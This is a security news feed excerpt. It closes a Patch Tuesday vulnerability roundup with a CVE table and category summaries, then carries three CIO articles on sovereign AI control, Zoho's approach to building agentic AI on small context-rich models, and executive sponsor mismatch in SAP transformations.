  <td class="xl69">Tampering</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56181"><span>CVE-2026-56181</span></a></td>
  <td width="256" class="xl74">Windows Network
  Address Translation (NAT) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58597"><span>CVE-2026-58597</span></a></td>
  <td width="256" class="xl74">Microsoft
  Edge (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl73">Low</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.</em></p><p class=""><em> </em></p><p class=""><em> </em></p><p class="">I’ll do my best to summarize everything else in this release, but no promises. I’m only human after all.</p><p class=""> </p><p class="">Looking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We’ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it’s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) — patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these “normal” as far as patch cadence goes.</p><p class="">That leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.</p><p class="">The pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) — WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.</p><p class="">And because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.</p><p class="">There are close to 260 EoP bugs in this month’s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. What’s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says “elevate privileges” with no detail. By my count, that leaves around 25 bugs to consider. Some don’t elevate at all. The FAQ literally says the attacker just gets “the rights of the user running the affected application.” That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I’ve seen really stands out too much.</p><p class="">There are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it’s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It’s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, “if this fails, nothing above it can be trusted” stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.</p><p class="">The July release includes 31Spoofing bugs this month, and we’ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let "just Spoofing" lull you into deprioritizing the patch cycle.</p><p class="">Of 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures — improper authorization, files/directories accessible to external parties, and link-following — plus Edge for Android exposing “private personal information” twice and two path-traversal bugs. The remaining 40+ are mostly one-line “exposure of sensitive information to an unauthorized actor” entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.</p><p class="">Only 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That’s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to “malicious uses” enabling tampering over the network. That’s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.</p><p class="">Still with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all “allocation of resources without limits or throttling”.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">The next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I’ll be back then to give you my full thoughts on the release – no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Sovereign AI has become the public-sector CIO’s control problem]]></title>
<description><![CDATA[In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving in...]]></description>
<link>https://tsecurity.de/de/3694400/it-security-nachrichten/sovereign-ai-has-become-the-public-sector-cios-control-problem/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694400/it-security-nachrichten/sovereign-ai-has-become-the-public-sector-cios-control-problem/</guid>
<pubDate>Sat, 25 Jul 2026 18:57:42 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving into AI, and most sovereign-AI debates answer the wrong version of it.</p>



<p class="wp-block-paragraph">They ask whether a country can build its own model on domestic data and hardware. For the United States and China, which together hold more than 90% of global AI data-center capacity, per a <a href="https://institute.global/insights/tech-and-digitalisation/sovereignty-in-the-age-of-ai-strategic-choices-structural-dependencies">January 2026 Tony Blair Institute analysis</a>, that question is worth asking. However, for almost every other government, it is the wrong place to start. The operative question is narrower: Once AI is embedded in public services, who controls the stack?</p>



<h2 class="wp-block-heading">The 5 layers of public-sector control</h2>



<p class="wp-block-paragraph">For a CIO, sovereign AI means enforceable control across the AI lifecycle; model ownership is a separate question. Control has five layers:</p>



<ul class="wp-block-list">
<li><strong>Data control:</strong> Where sensitive public data sits, and whether it can train a vendor’s model.</li>



<li><strong>Model control:</strong> Which models clear which workloads, and under what validation.</li>



<li><strong>Infrastructure control:</strong> Whether critical workloads run in approved environments.</li>



<li><strong>Operational control:</strong> Whether AI-assisted actions are logged, monitored and reversible.</li>



<li><strong>Vendor control:</strong> Whether the agency keeps portability, audit rights and a real exit.</li>
</ul>



<p class="wp-block-paragraph">Those five layers are the control plane for public-service AI. Floyd Dcosta recently made the enterprise case in “<a href="https://www.cio.com/article/4147102/ai-without-sovereignty-is-just-outsourced-intelligence.html">AI without sovereignty is just outsourced intelligence</a>”: capability is what a tool can do; authority over how and when it does it is something a buyer can quietly lose. For public services, losing that authority plays out in the public eye.</p>



<p class="wp-block-paragraph">Public-sector AI risk differs from enterprise risk. A retailer’s bad recommendation costs a sale; a government’s AI touches benefits, tax enforcement, policing and emergency response, raising the bar to due process, records retention and continuity of operations. A government that cannot reconstruct an AI-assisted decision lacks operational sovereignty, even in a domestic data center.</p>



<h2 class="wp-block-heading">Evaluating risk: Concentration, jurisdiction and shadow AI</h2>



<p class="wp-block-paragraph">Foreign dependency is a real risk, but the exposure that matters is a sudden cutoff: A model you cannot audit, switch or exit, shut off by someone else’s order. A vendor’s nationality is a poor guide to that risk; control is.  Two markers matter. The first is concentration. In July 2024, a single faulty CrowdStrike update <a href="https://www.cisa.gov/news-events/alerts/2024/07/19/widespread-it-outage-due-crowdstrike-update">crashed about 8.5 million Windows machines</a>, disrupting airlines, hospitals, banks and governments worldwide. No attacker was involved; one homogeneous dependency failed everywhere at once. The lesson points away from vendor nationality and toward uniformity as the fault line, making portability and provider diversity resilience controls.</p>



<p class="wp-block-paragraph">The second is jurisdiction. In June 2025, Microsoft’s legal director for France <a href="https://www.sdxcentral.com/news/microsoft-tells-french-lawmakers-it-cant-protect-user-data-from-us-demands/">told a Senate inquiry, under oath</a>, that it could not guarantee that French public-sector data, even in French data centers, would be protected against US demands under the 2018 CLOUD Act. No such request had been made, and EU data has stayed in the EU since January 2025; senators called the assurance purely declarative. For the most sensitive data, residency does not equal control; the parent’s jurisdiction can matter as much as the server’s. Three US hyperscalers hold <a href="https://www.srgresearch.com/articles/european-cloud-providers-local-market-share-now-holds-steady-at-15">about 70% of the European cloud market</a>, while European providers’ share fell from 29% in 2017 to roughly 15%. Concentration plus jurisdiction is the exposure a CIO must price. I have watched teams treat vendor selection as the moment risk was solved; it rarely was.</p>



<p class="wp-block-paragraph">The wrong response is self-isolation. Most countries will never build frontier models, advanced chips, hyperscale clouds and talent pipelines at once; the Tony Blair Institute calls full self-sufficiency “too expensive, too slow and, for most countries, simply impossible.” The better test is workload sensitivity. Low-risk uses, such as drafting, translation and summarization, can run on commercial platforms with controls; high-risk uses, such as benefits eligibility, fraud investigation and healthcare triage, demand stricter control over data, model behavior and auditability.</p>



<p class="wp-block-paragraph">Mandating domestic-only provision before a competitive option exists inverts sovereignty. <a href="https://europe2031.ai/summary">Europe 2031</a>, a five-year scenario from June 2026 by European technologists and policy researchers, illustrates the failure mode: A 2027 “buy European” mandate lands as offensive cyber capability spreads, and agencies that switched to weaker providers are locked out and paying ransoms. The scenario is fiction; the mechanism is not. Leverage comes from being indispensable, not half-hearted self-sufficiency. The closer-to-home effect is shadow AI: Mandate an inferior sanctioned tool and staff bypass it, the way shadow IT grows up around tools people find too slow. A rule that pushes sensitive work into ungoverned shadow AI reduces control instead of adding it.</p>



<p class="wp-block-paragraph">Regulation and data-residency rules belong in any serious strategy, but carry failure modes. Blanket localization raises hosting costs and slows adoption without guaranteeing control, and a “sovereign cloud” on a foreign parent’s stack can amount to sovereignty theater. The more useful pattern tiers requirements by sensitivity. India’s BHASHINI shows the application layer done well: A public platform <a href="https://www.pib.gov.in/PressReleaseIframePage.aspx?PRID=2093333&amp;reg=3&amp;lang=2">serving 100 million-plus inferences a month across 22-plus languages</a> on a vendor- and cloud-agnostic design that keeps data and switching rights public. Sovereignty resides in the portability, not in a national model.</p>



<h2 class="wp-block-heading">Building an operational sovereignty strategy</h2>



<p class="wp-block-paragraph">Public trust is the constraint sovereignty rhetoric tends to skip. The OECD’s <a href="https://www.oecd.org/en/publications/governing-with-artificial-intelligence_795de142-en.html">2025 review of government AI</a> warns that opaque systems make AI-assisted decisions hard to explain and can give public servants false confidence in tools that fail quietly. State-controlled AI is the same problem from the other side: A government that deploys models against its own citizens without audit or record has gained control and lost accountability. An agency that can log, explain and reverse an AI-assisted action can defend it to citizens, courts, auditors and elected officials. If it cannot, it has bought access and called it sovereignty.</p>



<p class="wp-block-paragraph">None of this is new. AI sovereignty repeats earlier fights over cloud, telecom, semiconductors and cybersecurity. Europe’s flagship cloud project, GAIA-X, became a cautionary tale; the Dutch technologist Bert Hubert called it an <a href="https://berthub.eu/articles/posts/gaia-x-is-an-expensive-distraction/">“expensive distraction”</a> that produced no European cloud, the familiar result of ambition without absorptive capacity. Cloud taught governments that outsourcing infrastructure does not outsource accountability; telecom, that vendor dependency becomes strategic exposure; chips, that supply chains matter before a crisis; cybersecurity, that trust must be verified continuously. AI inherits all four at once.</p>



<p class="wp-block-paragraph">Over the next five to ten years, some countries will build national platforms, more will build trusted cloud and trusted model regimes, and most will run hybrids that pair domestic data control with global model access. Trade policy will harden those choices: Export controls on compute and data-localization rules will pull the vendor market into blocs that track alliances more than open markets. For a CIO, that turns a vendor and hosting decision into a five-year bet on whose rules and supply chains will still hold. The ones that succeed will treat sovereignty as an operating requirement, backed by leverage, not a slogan. Start with the control plane before the model: Most agencies will never own the model, and the controls are what decide whether the AI they do run stays accountable. Even when procurement policy is dictated from above, these questions remain within the CIO’s authority:</p>



<ol start="1" class="wp-block-list">
<li>Can we classify AI workloads by public-service risk?</li>



<li>Can we prove where sensitive data goes across training, retrieval, inference, logging and retention?</li>



<li>Can we restrict which models are approved for which data classes and functions?</li>



<li>Can we reconstruct an AI-assisted action in enough detail to explain it?</li>



<li>Can we change providers without losing continuity or institutional knowledge?</li>



<li>Can we explain the system to citizens, regulators, auditors and elected officials?</li>
</ol>



<p class="wp-block-paragraph">A “no” to any of these does not mean the agency lacks AI. It means the agency has access it does not yet control. Public institutions can use global innovation without surrendering public authority, but only once they know what to hold, what to rent and where dependency turns into risk.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Smaller, smarter, safer: How to build agentic AI on the right foundation]]></title>
<description><![CDATA[When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.



“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a sui...]]></description>
<link>https://tsecurity.de/de/3694397/it-security-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694397/it-security-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:52 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.</p>



<p class="wp-block-paragraph">“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a suite of popular cloud-based software solutions for sales, marketing, and finance.</p>



<p class="wp-block-paragraph">“I’m on the business side, and so decisions made by our CIO and IT folks affect me directly, and my teams’ workflows and processes,” he added.</p>



<p class="wp-block-paragraph">Speaking to a room of tech leaders at the <a href="https://event.foundryco.com/cio-100-leadership-live-new-york/">CIO 100 Leadership Live New York event</a> last week, Thakrar explained that every company wants the speed of AI-generated work wedded to the quality of human work, even though these two are diametrically opposed. No amount of model upgrades or spend will close that gap, so the only way forward is to architect your way out. Thakrar encapsulated this idea in a simple formula:</p>



<ul class="wp-block-list">
<li>Smaller: Stop deploying maximum firepower on every task. Many tasks don’t need it.</li>



<li>Smarter: The system around the model decides more than the model does.</li>



<li>Safer: Verify at the point a mistake gets locked in, not just downstream of it.</li>
</ul>



<p class="wp-block-paragraph">He noted that organizations that win with AI won’t be those deploying the biggest, most powerful models or the most sophisticated architecture, but the ones that figure out that the model is the easy part and the right architecture is harder. That means understanding the hardest element, and the biggest differentiator, is building a human system that learns and compounds alongside agentic systems.</p>



<p class="wp-block-paragraph">To get it right, organizations need to prioritize the context layer. The size of frontier models like the GPT series, Claude, and Gemini mostly exist to compensate for missing context, Thakrar explained. Without enough context, models need to be able to reason harder and infer more about what a user actually means because it doesn’t know the user’s account, process, or history. A rich context layer makes it possible for enterprises to run workloads on much smaller, lower-power models.</p>



<p class="wp-block-paragraph">“The intelligence moves from the model into the architecture around it,” he said.</p>



<h2 class="wp-block-heading">A steep learning curve</h2>



<p class="wp-block-paragraph">One of Zoho’s earliest AI agents was a churn management agent to help the account management team detect churn in customer subscriptions. So when a subscription became inactive, the agent would collect context from notes, meeting recordings, and Zoho’s data enrichment tool, then create a summary of reasons the account might have churned, and schedule a call.</p>



<p class="wp-block-paragraph">“What happened was I got this churn agent a couple months later, already embedded in our CRM, and within a week my team no longer trusted that agent,” Thakrar said. “The reason is we forgot to collect one very key point.”</p>



<p class="wp-block-paragraph">In Zoho’s CRM, when a customer buys a bundle of products, that bundle is represented as a single line item. That means the status of any products the customer may have previously purchased individually changes to inactive as they’re moved to the bundle. That’s not churn, but it was interpreted it that way. Zoho fixed it in the second version of the agent.</p>



<p class="wp-block-paragraph">Then a new problem arose. Many potential customers first purchase Zoho products as pilots or sandboxes. As those customers move from pilot to live instance, they close down the pilot versions. And again, the CRM would record that as subscriptions going inactive.</p>



<p class="wp-block-paragraph">“The trust deteriorates again because everyone got excited for version 2,” Thakrar said.</p>



<p class="wp-block-paragraph">Sometimes, a certain product might not be the best fit for a customer and Thakrar’s team will suggest the customer move to another product. That’s deliberate churn, not a churn risk.</p>



<p class="wp-block-paragraph">“You may have a similar story like this where the agent sounds so good, it’s going to do something quick and add value, but it’s missing context from the account managers, and there are so many more pieces we’re still building out,” Thakrar said. “It’s been almost a year and the problem I have is my team still doesn’t trust it. They’ll see [a message from the agent] and go out and do all the research anyway to make sure it gave the correct answer.”</p>



<p class="wp-block-paragraph">The team is more on top of potential churn, though, but the promised productivity gains have yet to materialize because the agent has to earn back lost trust due to a lack of context.</p>



<p class="wp-block-paragraph">“My goal for this year is having an AI-assisted customer journey from sales to account management where the handoff is clean, the context flows, and every piece of information we gather about a customer is weighed, identified, and coached so the sales team can close more deals,” he said.</p>



<p class="wp-block-paragraph">Zoho’s early experience with agents has led to the idea that constrained, context-rich, deterministic architectures consistently outperform expensive models bolted onto fragmented systems. It all comes down to three pillars: routing, harness, and specialization.</p>



<h3 class="wp-block-heading">Routing</h3>



<p class="wp-block-paragraph">Routing is about sending workloads to the proper model for the job, which entails providing enough context to a given task that a small, cheap model can handle it without the need for spare reasoning capacity to fill gaps.</p>



<p class="wp-block-paragraph">Frontier models are expensive and companies can burn through a year’s budget worth of tokens in months. But most tasks can be handled by much smaller, more constrained models at a fraction of the cost.</p>



<p class="wp-block-paragraph">“You don’t always have to pay the frontier guys for every task,” he said. “We’ve observed with some clients that we could save them 95% with a 3 billion parameter model.”</p>



<h3 class="wp-block-heading">Harness</h3>



<p class="wp-block-paragraph">An AI agent harness is the software infrastructure scaffolding around an LLM that differentiates an agent from a chatbot. It’s what enables an agent to act on tasks rather than simply respond to prompts. A model reasons through a problem and decides what to do about it. The harness connects the model to the tools, systems, memory, guardrails, and execution environments required to perform the actions determined by the model. The term is frequently used more or less interchangeably with orchestration layer.</p>



<p class="wp-block-paragraph">“It’s the process around the model, which matters way more than the model itself,” Thakrar said.</p>



<p class="wp-block-paragraph">In benchmark tests, a superior harness on a less powerful model produces better results than an inferior harness on a much bigger model.</p>



<p class="wp-block-paragraph">For the best results, Thakrar said, it’s essential to understand the deterministic and non-deterministic elements of a given workload, and build that into the architecture. Machines can read, organize, and validate, and they excel at deterministic tasks. Humans, on the other hand, are exceptional at non-deterministic tasks like judging, synthesizing, and deciding.</p>



<p class="wp-block-paragraph">Those non-deterministic tasks in a process are the ideal point for AI agents to incorporate a human in the loop, what Thakrar calls human harness. He pointed to a stakeholder mapping agent Zoho built for sales as an example, which takes the context of an initial meeting and third-party enriched data like a LinkedIn profile, weighs probabilities, and makes an educated guess about the stakeholder map.</p>



<p class="wp-block-paragraph">“The initial goal was just to eliminate that task completely from the human workflow,” he said. “The stakeholder map is done, it’s in the folder, and you can look at it.”</p>



<p class="wp-block-paragraph">But the agent would struggle to capture nuance. The meanings of titles in organizations always vary, and the politics and dynamics of any given meeting can be difficult for an AI agent to discern. Rather than keep feeding the agent data to try to make it intelligent enough to make those determinations, it was simpler and more efficient for the agent to create a proposed stakeholder map and hand it over to a human who could make changes and explain why those changes were necessary.</p>



<p class="wp-block-paragraph">Ultimately, Thakrar said the agent still saved human team members time because the stakeholder map was usually pretty close, and the corrections also helped the model grow smarter by adding richer context.</p>



<h3 class="wp-block-heading">Specialization</h3>



<p class="wp-block-paragraph">Specialization is transitioning a process from testing on a frontier model to production on a much narrower, smaller model. Once you’ve proven that an agent can do a job well, you want to stop paying master-craftsman rates to keep doing that one job well.</p>



<p class="wp-block-paragraph">Specialization is all about capturing your subject matter experts’ best judgement and pattern recognition to build an open-weight, open source, trained, and fine-tuned model that can be deployed in your own data center.</p>



<p class="wp-block-paragraph">“The true enterprise bet is to keep that orchestration layer, which is your IP and knowledge, in house,” Thakrar said. “You don’t want to host that on someone else’s model. The goal of everyone in enterprise should be to run, train, and host their own models.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Sponsor mismatch is the silent killer of enterprise transformation]]></title>
<description><![CDATA[Late in a large enterprise SAP transformation, the strategic governance conversations began to drift. Instead of executive decisions, we found ourselves debating whether the program needed dedicated testing, whether cutover required a full weekend, whether twenty Agile teams really needed coordin...]]></description>
<link>https://tsecurity.de/de/3694391/it-security-nachrichten/sponsor-mismatch-is-the-silent-killer-of-enterprise-transformation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694391/it-security-nachrichten/sponsor-mismatch-is-the-silent-killer-of-enterprise-transformation/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:49 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Late in a large enterprise SAP transformation, the strategic governance conversations began to drift. Instead of executive decisions, we found ourselves debating whether the program needed dedicated testing, whether cutover required a full weekend, whether twenty Agile teams really needed coordination support and whether offshore resources were adding value at all.</p>



<p class="wp-block-paragraph">The questions were not coming from the delivery teams. They were coming from the executive sponsor.</p>



<p class="wp-block-paragraph">The sponsor had recently been elevated into a senior leadership role and had never sponsored a technology transformation at this scale. The challenge was not authority. The sponsor had every right to ask any question they wanted. The challenge was that strategic governance had quietly turned into a debate about delivery practices, because the sponsor did not yet have the transformation context to focus the conversation anywhere else.</p>



<p class="wp-block-paragraph">This is not a story about a bad sponsor. The executive in this case was a capable senior leader with strong judgment and authentic intent. They had been placed into a role they had not yet been prepared for, and the pattern that followed was structural, not personal. It is one of the more common patterns I have observed across enterprise transformation programs, and one of the most consistently misdiagnosed.</p>



<p class="wp-block-paragraph">Most program failures are not execution failures. They are sponsor mismatches.</p>



<h2 class="wp-block-heading">When governance becomes a debate about delivery practices</h2>



<p class="wp-block-paragraph">When the sponsor does not understand what an enterprise transformation actually requires, governance forums stop functioning as decision bodies and start functioning as practice debates.</p>



<p class="wp-block-paragraph">You see it in the questions that get asked. Why do we need a dedicated testing phase? Can the Build timeline be compressed? Why does cutover need a full weekend? Why do we need more Scrum Masters across 20 product teams? Can the US team simply work longer hours instead of using offshore resources? On one program, the sponsor suggested shifting the entire project’s working hours to India time, despite roughly 85 percent of the delivery organization being based in the United States.</p>



<p class="wp-block-paragraph">None of these questions are unreasonable in isolation. Each one targets a real cost or timeline pressure. The problem is what is missing underneath them: an understanding of the operational risks the original choices were designed to mitigate.</p>



<p class="wp-block-paragraph">When sponsors ask delivery-practice questions without that context, the program leadership team ends up defending the work instead of advancing it. Decision velocity drops. Trust between the program and its sponsor erodes. Senior delivery talent disengages from governance forums where the conversation never reaches the decisions they need made. What looks from the outside like an active sponsor producing engagement is, from inside the program, an active drain on the cycles needed to deliver.</p>



<p class="wp-block-paragraph">The compounding cost is not unique to any single program. <a href="https://www.pmi.org/blog/why-executive-sponsorship-fuels-projects">PMI’s research on executive sponsorship</a> consistently identifies sponsor engagement quality, rather than sponsor presence alone, as one of the strongest predictors of project success. The visible symptom is debate. The actual cost is unmade decisions.</p>



<h2 class="wp-block-heading">Authority is rarely the issue. Literacy is</h2>



<p class="wp-block-paragraph">When transformations stall under a mismatched sponsor, the diagnostic instinct is to question the sponsor’s authority. Are they senior enough? Do they have the cross-functional reach? Can they unblock?</p>



<p class="wp-block-paragraph">In most of the programs I have led or advised, authority was not the limiting factor. The sponsor in the SAP program above had ample authority. They could unblock any decision the program needed. What had not been developed was the transformation literacy to know which decisions mattered, which were technical noise and which were execution risks that should not be optimized away.</p>



<p class="wp-block-paragraph">This is what I have come to think of as the literacy problem. Sponsors elevated into transformation roles often have deep functional expertise (finance, operations, business unit leadership) but limited exposure to the distinct functions of PMO, organizational change management, agile delivery, testing and cutover, and how each one reduces a specific category of implementation risk. They are not expected to be SAP configuration experts. But they need enough transformation literacy to recognize which questions actually belong in a steering committee.</p>



<p class="wp-block-paragraph"><a href="https://hbr.org/2015/05/how-to-be-an-effective-executive-sponsor">Harvard Business Review’s research on effective executive sponsorship</a> has emphasized that sponsorship effectiveness depends as much on judgment as on authority. Judgment is where literacy becomes operational. A sponsor with authority but limited transformation literacy will optimize for speed and cost in ways that consistently underestimate risk. A sponsor with both will make the tradeoffs the program actually needs.</p>



<p class="wp-block-paragraph"><a href="https://www.prosci.com/resources/articles/change-management-best-practices">Prosci’s longstanding benchmark studies on change management</a> have ranked active and visible executive sponsorship as the single greatest contributor to change success for two decades. The word that matters in that finding is active. Active sponsorship without transformation literacy can introduce real cost. Not because the sponsor is acting against the program, but because the optimization choices they make are based on incomplete information about what the program is built to protect against.</p>



<h2 class="wp-block-heading">Shift the conversation from delivery practices to business risk</h2>



<p class="wp-block-paragraph">When the sponsor relationship is already in place and cannot be changed, the program leadership team has one move that consistently works: shift the conversation.</p>



<p class="wp-block-paragraph">On the SAP program above, we stopped explaining why the testing phase existed. We started explaining the business risk of reducing it. We stopped debating the number of Scrum Masters. We started connecting delivery capacity to coordination across more than twenty Agile teams and the business cost of losing that coordination. We reframed offshore support as a way to maintain delivery momentum around the clock rather than asking the U.S. team to sustain fifteen-hour days.</p>



